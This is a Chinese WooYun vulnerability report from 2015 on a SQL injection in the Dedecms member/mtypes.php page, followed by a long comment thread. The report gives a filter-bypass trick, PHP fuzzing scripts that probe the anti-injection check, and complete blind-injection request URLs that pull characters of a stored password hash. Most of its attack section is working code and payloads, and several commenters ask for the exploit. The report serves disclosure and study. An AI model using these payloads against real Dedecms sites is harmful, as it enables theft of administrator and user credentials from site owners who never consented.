当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127787

漏洞标题:Dedecms 20150618 注入一枚(过防注入\可注入管理员账户)

相关厂商:Dedecms

漏洞作者: ′雨。

提交时间:2015-07-20 09:17

修复时间:2015-10-23 09:19

公开时间:2015-10-23 09:19

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-20: 细节已通知厂商并且等待厂商处理中
2015-07-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-09-18: 细节向核心白帽子及相关领域专家公开
2015-09-28: 细节向普通白帽子公开
2015-10-08: 细节向实习白帽子公开
2015-10-23: 细节向公众公开

简要描述:

终于绕过你,还好我没放弃。
当然得感谢ooxx牛, @Noxxx
P.S:http://www.dedecms.com/ 叼叼的。
gpc限制

详细说明:

首先来看一下

function XSSClean($val) {
global $cfg_soft_lang;
if($cfg_soft_lang=='gb2312') gb2utf8($val);
if (is_array($val))
{
while (list($key) = each($val))
{
if(in_array($key,array('tags','body','dede_fields','dede_addonfields','dopost','introduce'))) continue;
$val[$key] = XSSClean($val[$key]);
}
return $val;
}
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}

$val = str_replace("`","‘",$val); //对value有过滤 key无
$val = str_replace("'","‘",$val); //且key无addslashes
$val = str_replace("\"","“",$val);
$val = str_replace(",",",",$val);
$val = str_replace("(","(",$val);
$val = str_replace(")",")",$val);


member/mtypes.php

elseif ($dopost == 'save')
{
if(isset($mtypeidarr) && is_array($mtypeidarr))
{
$delids = '0';
$mtypeidarr = array_filter($mtypeidarr, 'is_numeric');
foreach($mtypeidarr as $delid)
{
$delid = HtmlReplace($delid);
$delids .= ','.$delid;
unset($mtypename[$delid]);
}
$query = "DELETE FROM `#@__mtypes` WHERE mtypeid IN ($delids) AND mid='$cfg_ml->M_ID';";
$dsql->ExecNoneQuery($query);
}
foreach ($mtypename as $id => $name) //把数组的key循环出来
{
$name = HtmlReplace($name);//只对value 进行了addslashes 没有对key addslashes 导致了$id可引入单引号 造成了注入。
$query = "UPDATE `#@__mtypes` SET mtypename='$name' WHERE mtypeid='$id' AND mid='$cfg_ml->M_ID'";
$dsql->ExecuteNoneQuery($query);
}
ShowMsg('分类修改完成','mtypes.php');
}


所以首先我们注册一个账户, 然后传递一个数组 因为dede是伪全局
然后发现并没办法直接传递数组 直接mtypename[aa'] 发现dump出来就是一个Array
导致了循环出来的key就是A。 这里要另外一种方法, 参照menmen519传递数组的方法。

foreach($_FILES as $_key=>$_value)
{
foreach($keyarr as $k)
{
if(!isset($_FILES[$_key][$k]))
{
exit('Request Error!');
}
}
if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name'];
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{


利用_FILES来创造一个数组。
然后有一个问题就是他的防注入, 发现他的防注入又改了。。

if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE 
OR strpos($clean,'$s$$s$')!== FALSE)


比之前的又添加了双引号, 然后都知道80sec的ids 在`'`后的关键字就能过。
但是没有了@ 和 " 我们怎么让在我们嵌入的select之前让`'`不报错。
没有了思路,果断先写个渣脚本fuzz跑一下。

<?php 
mysql_connect('localhost','root','');
mysql_query("use dedecmsv");
for ($i=0;$i<256;$i++){
$b=chr($i);
$sql="select uname from dede_member where uname='a' and $b`'` union select user()";
$a=@mysql_fetch_array(mysql_query($sql));
if ($a){

echo $i;
echo "</br>";
echo $b;
echo "</br>";
echo urlencode($b);

}
}


1.jpg


发现只跑出来了 @ 继续改一下脚本再跑

<?php 
mysql_connect('localhost','root','');
mysql_query("use dedecmsv");
for ($i=0;$i<256;$i++){
$b=chr($i);
$sql="select uname from dede_member where uname='a' and $b`'`$b union select user()";
$a=@mysql_fetch_array(mysql_query($sql));
if ($a){

echo $i;
echo "</br>";
echo $b;
echo "</br>";
echo urlencode($b);

}
}


发现又只跑出来了一个 双引号。。 恰巧这两个又被过滤了。
还好这时候ooxx牛在。
WHERE mtypeid='a' and `'`.``.mtypeid and
这种也能执行 所以成功绕过了dedecms的防注入。
所以就可注入了。
_______________________________________________________________________
演示一下流程
首先一个会员 来到 /member/mtypes.php 创建一个分类

增加分类成功
如果你的浏览器没反应,请点击这里...


删? 	分类ID 	内容类型 	分类名称
1 普通文章 www


这里先记下分类的ID为1 名称为 www
然后访问
http://web/new/dedecmsv/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a' and `'`.``.mtypeid or if(ascii(substr((select pwd from dede_member limit 1),1,1))%3d51,1,0) and mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx

删? 	分类ID 	内容类型 	分类名称
1 普通文章 www


发现分类名称没有改变
再改一下
http://web/new/dedecmsv/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a' and `'`.``.mtypeid or if(ascii(substr((select pwd from dede_member limit 1),1,1))%3d50,1,0) and mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx
访问后 再回到分类管理来看

删? 	分类ID 	内容类型 	分类名称
1 普通文章 w


现在分类名称已经变成我们数组的value了 就说明 当pwd的第一位ascii码为50的时候
就是true了 再转回来 说明pwd的第一位就是2
也可基于时间,再写个脚本就能跑了。

漏洞证明:

2.jpg

修复方案:

用你们的htmlreplace

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-23 09:19

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-20 09:18 | 玉林嘎 ( 普通白帽子 | Rank:768 漏洞数:97 )

    前排!!!

  2. 2015-07-20 09:19 | Ton7BrEak ( 普通白帽子 | Rank:211 漏洞数:43 | 吃苦耐劳,我只会第一个!)

    雨神叼叼的

  3. 2015-07-20 09:24 | answer ( 普通白帽子 | Rank:367 漏洞数:47 | 答案)

    mark

  4. 2015-07-20 09:27 | 二维码 ( 实习白帽子 | Rank:61 漏洞数:4 | 老子跳起来就是个么么哒)

    吊吊吊!

  5. 2015-07-20 09:28 | Expl0r3r ( 实习白帽子 | Rank:65 漏洞数:13 | 野心大过高潮)

    火前留名

  6. 2015-07-20 09:28 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    是 主程序吗?还是附加程序 你可真快!

  7. 2015-07-20 09:28 | 微尘 ( 普通白帽子 | Rank:218 漏洞数:74 )

    前排!!!

  8. 2015-07-20 09:37 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    刚才下载了最新的版本 貌似我在社区发的那个刷钱的还是没有改

  9. 2015-07-20 09:39 | Jonsr ( 路人 | Rank:0 漏洞数:1 | 熔炼肝胆力量,成就不败的信仰!)

    屌屌屌。

  10. 2015-07-20 09:47 | xy小雨 ( 普通白帽子 | Rank:171 漏洞数:50 | 成为海贼王的男人)

    23333

  11. 2015-07-20 11:01 | 这只猪 ( 路人 | Rank:5 漏洞数:2 | 南无阿弥陀佛!)

    前排膜拜,坐等EXP

  12. 2015-07-20 11:02 | Melody ( 路人 | Rank:5 漏洞数:3 | 啊)

    前排膜拜,坐等EXP

  13. 2015-07-20 11:04 | mango ( 核心白帽子 | Rank:1698 漏洞数:250 | 我有个2b女友!)

    @Noxxx 我大师傅

  14. 2015-07-20 11:16 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    卧槽炸了

  15. 2015-07-20 11:22 | pigzhu ( 路人 | Rank:4 漏洞数:4 | 网络共享!)

    膜拜。。

  16. 2015-07-20 11:30 | scanf ( 核心白帽子 | Rank:1307 漏洞数:190 | 。)

    2333

  17. 2015-07-20 11:39 | term ( 实习白帽子 | Rank:84 漏洞数:26 | 为了ipad而努力)

    我不会告诉你 在你之前已经有大牛拿下了 可惜那个大牛是做黑产的

  18. 2015-07-20 12:06 | Sunshie ( 实习白帽子 | Rank:63 漏洞数:11 | http://phpinfo.me)

    66

  19. 2015-07-20 12:13 | 金枪银矛小霸王 ( 普通白帽子 | Rank:125 漏洞数:27 | 不会挖洞洞的猿猿不是好学生)

    火前留名

  20. 2015-07-20 12:26 | CH’s Alert ( 路人 | Rank:6 漏洞数:3 | 惹我之人定不赦,持剑斗破苍穹笑。剑指...)

    前排观望

  21. 2015-07-20 12:34 | h3hz ( 路人 | Rank:30 漏洞数:2 )

    install/index.php 最新版直接getshhell

  22. 2015-07-20 12:45 | phith0n 认证白帽子 ( 核心白帽子 | Rank:662 漏洞数:108 | 一个想当文人的黑客~)

    不知道为什么现在一点挖洞的激情都没了唉

  23. 2015-07-20 12:53 | px1624 ( 普通白帽子 | Rank:1038 漏洞数:176 | px1624)

    @phith0n 我也是

  24. 2015-07-20 13:25 | 小川 认证白帽子 ( 核心白帽子 | Rank:1344 漏洞数:216 | 一个致力要将乌云变成搞笑论坛的男人)

    @px1624 @phith0n 因为你们钱挣得太多,教你们个方法,在乌云控制面板里有个捐赠功能,可以去测试下数据库是否锁住了,没准并发捐赠了1块钱,实际捐赠2块钱呢。

  25. 2015-07-20 13:30 | 玉林嘎 ( 普通白帽子 | Rank:768 漏洞数:97 )

    @px1624 @phith0n 因为你们钱挣得太多,教你们个方法,在乌云控制面板里有个转账功能,可以去测试下数据库是否锁住了,没准并发转账了1wb,实际转账2wb呢。

  26. 2015-07-20 13:34 | prolog ( 普通白帽子 | Rank:567 漏洞数:108 | 低调求发展)

    @px1624 @phith0n 因为你们钱挣得太多,教你们个方法,在乌云控制面板里有个转账功能,可以去测试下数据库是否锁住了,没准并发转账了1wb,实际转账2wb呢。

  27. 2015-07-20 13:44 | 大大灰狼 ( 普通白帽子 | Rank:248 漏洞数:53 | Newbie)

    @phith0n 我也是

  28. 2015-07-20 13:52 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    @px1624 @phith0n 因为你们钱挣得太多,教你们个方法,在乌云控制面板里有个转账功能,可以去测试下数据库是否锁住了,没准并发转账了1wb,实际转账2wb呢。

  29. 2015-07-20 14:04 | Snake~ ( 路人 | Rank:4 漏洞数:1 | 0.0)

    妈妈问我为什么跪着上乌云!

  30. 2015-07-20 14:10 | 脚本小伙 ( 实习白帽子 | Rank:48 漏洞数:15 | 小书童)

    相当牛逼!

  31. 2015-07-20 14:40 | Skull ( 实习白帽子 | Rank:95 漏洞数:33 | 菜鸟一枚。)

    你关注的白帽子 ′雨。 发表了漏洞 Dedecms 20150618 注入一枚(过防注入,可注入管理员账户)

  32. 2015-07-20 15:30 | _Thorns ( 普通白帽子 | Rank:982 漏洞数:170 )

    @phith0n @px1624 因为你们钱挣得太多,教你们个方法,在乌云控制面板里有个转账功能,可以去测试下数据库是否锁住了,没准并发转账了1wb,实际转账2wb呢。

  33. 2015-07-20 16:39 | 晏子 ( 路人 | Rank:6 漏洞数:4 | 无)

    火钳留名。后排出售大圣归来电影票。

  34. 2015-07-20 16:50 | 泪雨无魂 ( 普通白帽子 | Rank:123 漏洞数:43 )

    牛逼啊....

  35. 2015-07-20 17:29 | SunnyDoll ( 实习白帽子 | Rank:32 漏洞数:10 | 职业搬砖工)

    后排出售妹子.

  36. 2015-07-20 20:18 | 海盗湾V ( 实习白帽子 | Rank:58 漏洞数:9 | Your entire life is online)

    后排出售瓜子

  37. 2015-07-20 20:40 | Xenc ( 实习白帽子 | Rank:41 漏洞数:10 | 个人博客:www.hackang.com)

    后排出售本人~ ~注意楼下队形

  38. 2015-07-20 21:22 | 忆苦思甜 ( 实习白帽子 | Rank:65 漏洞数:25 )

    又来了 ...

  39. 2015-07-20 22:20 | Sword ( 路人 | Rank:16 漏洞数:11 | 求大牛带飞)

    后台坐等EXP

  40. 2015-07-21 08:17 | 青年 ( 路人 | Rank:4 漏洞数:2 | 这家伙很懒)

    又要火了,坐等EXP

  41. 2015-07-21 09:51 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    坐等exp

  42. 2015-07-21 14:14 | 爱神 ( 路人 | Rank:4 漏洞数:1 | Qq190290957)

    太牛逼了

  43. 2015-07-21 23:22 | HotQS ( 路人 | Rank:16 漏洞数:5 | 立志把谷歌玩出花的男人!)

    雨神还是6

  44. 2015-07-22 11:46 | 斯杰 ( 路人 | Rank:10 漏洞数:5 | By:S丶jer)

    坐等exp

  45. 2015-07-24 11:27 | AK-47 ( 路人 | Rank:15 漏洞数:1 | 开开心心挖洞,踏踏实实上学!)

    火了

  46. 2015-07-24 13:49 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    火!

  47. 2015-07-25 10:32 | 小手冰凉 ( 普通白帽子 | Rank:178 漏洞数:19 | 幸福你我他)

    我擦 忽略了 公开.........

  48. 2015-07-25 17:53 | Ev1l ( 实习白帽子 | Rank:68 漏洞数:20 | 问题真实存在但影响不大。联系邮箱security...)

    Mac

  49. 2015-07-25 18:15 | 金枪银矛小霸王 ( 普通白帽子 | Rank:125 漏洞数:27 | 不会挖洞洞的猿猿不是好学生)

    细节呢!?

  50. 2015-07-25 22:27 | scanf ( 核心白帽子 | Rank:1307 漏洞数:190 | 。)

    通用流程 @金枪银矛小霸王

  51. 2015-07-26 11:09 | 紫藤居士 ( 实习白帽子 | Rank:43 漏洞数:8 | 我是来向大神们学习的)

    坐等公开

  52. 2015-07-26 14:22 | 金枪银矛小霸王 ( 普通白帽子 | Rank:125 漏洞数:27 | 不会挖洞洞的猿猿不是好学生)

    @scanf 额.

  53. 2015-07-26 20:41 | 我对网名没兴趣 ( 路人 | Rank:2 漏洞数:1 | xss,渗透,社工,ddos,sql注入这些技术我...)

    坐等公开

  54. 2015-07-27 08:46 | ../../ ( 路人 | Rank:24 漏洞数:6 | root@z7ys.com)

    坐等批量?

  55. 2015-07-27 09:21 | 色豹 ( 路人 | Rank:0 漏洞数:1 | 色色的豹子)

    我擦 忽略。。。。

  56. 2015-07-27 10:00 | kevinchowsec ( 路人 | Rank:12 漏洞数:5 | 周凯文,信息安全爱好者。)

    @phith0n 因为没挣到多少钱!

  57. 2015-07-27 12:21 | 明月影 ( 路人 | Rank:12 漏洞数:8 )

    荣耀再次回归雨牛……

  58. 2015-07-27 20:01 | 暴雪寒极 ( 路人 | Rank:14 漏洞数:5 | 晓风凉如水,夜尽入枕愁)

    众多站长手里的织梦岌岌可危

  59. 2015-07-29 12:16 | 败笔 ( 路人 | Rank:2 漏洞数:1 | 最神奇的一群人,智慧低调又内敛,俗称马甲...)

    哇塞,快点公布.

  60. 2015-07-29 14:11 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    我似乎看到了详情 23333

  61. 2015-07-29 21:59 | 乌云首席鉴黄师 ( 普通白帽子 | Rank:181 漏洞数:64 | 妈妈,我要上电视)

    目测10月底 又有一批织梦站 中枪顺便后排求EXP

  62. 2015-07-31 16:23 | 聆听 ( 路人 | Rank:8 漏洞数:3 | why are you so diao !)

    坐等公开

  63. 2015-08-02 17:44 | Mr.杨总 ( 路人 | Rank:14 漏洞数:4 | 绿色 无毒 你懂得。。。。心要宽 。。。)

    前排坐等观看

  64. 2015-08-02 22:19 | 0x12 ( 路人 | Rank:4 漏洞数:2 | <script>alert(/0x12/)</script>)

    会火

  65. 2015-08-02 23:50 | 张三 ( 路人 | Rank:2 漏洞数:3 | 张三)

    23333333

  66. 2015-08-03 14:04 | zone ( 实习白帽子 | Rank:35 漏洞数:5 | as as- as you wish)

    坐等公开

  67. 2015-08-03 18:50 | Q1NG ( 普通白帽子 | Rank:101 漏洞数:18 | 临 兵 斗 者 皆 阵 列 前 行 !)

    坐等公开!

  68. 2015-08-19 18:32 | 张泽大菜鸟 ( 路人 | Rank:8 漏洞数:1 | 哪怕再菜的鸟,早起也会有虫吃。)

    已关注,坐等漏洞公开。。。。

  69. 2015-08-19 18:34 | 张泽大菜鸟 ( 路人 | Rank:8 漏洞数:1 | 哪怕再菜的鸟,早起也会有虫吃。)

    @Snake~ 因为对这片土地爱得深沉。。

  70. 2015-08-19 22:55 | 黑猫 ( 路人 | Rank:10 漏洞数:3 | 我是一只安静的猫)

    坐等公开

  71. 2015-08-30 12:16 | YyY ( 路人 | Rank:11 漏洞数:4 | YyY)

    厂商忽略了漏洞,仅向第三方合作伙伴开放....

  72. 2015-09-15 11:56 | 幽灵 ( 路人 | Rank:22 漏洞数:6 | 一步一步)

    雨神,敢不敢悄悄的告诉我该漏洞的详情。

  73. 2015-10-23 09:22 | Jonsr ( 路人 | Rank:0 漏洞数:1 | 熔炼肝胆力量,成就不败的信仰!)

    擦,好鸡肋!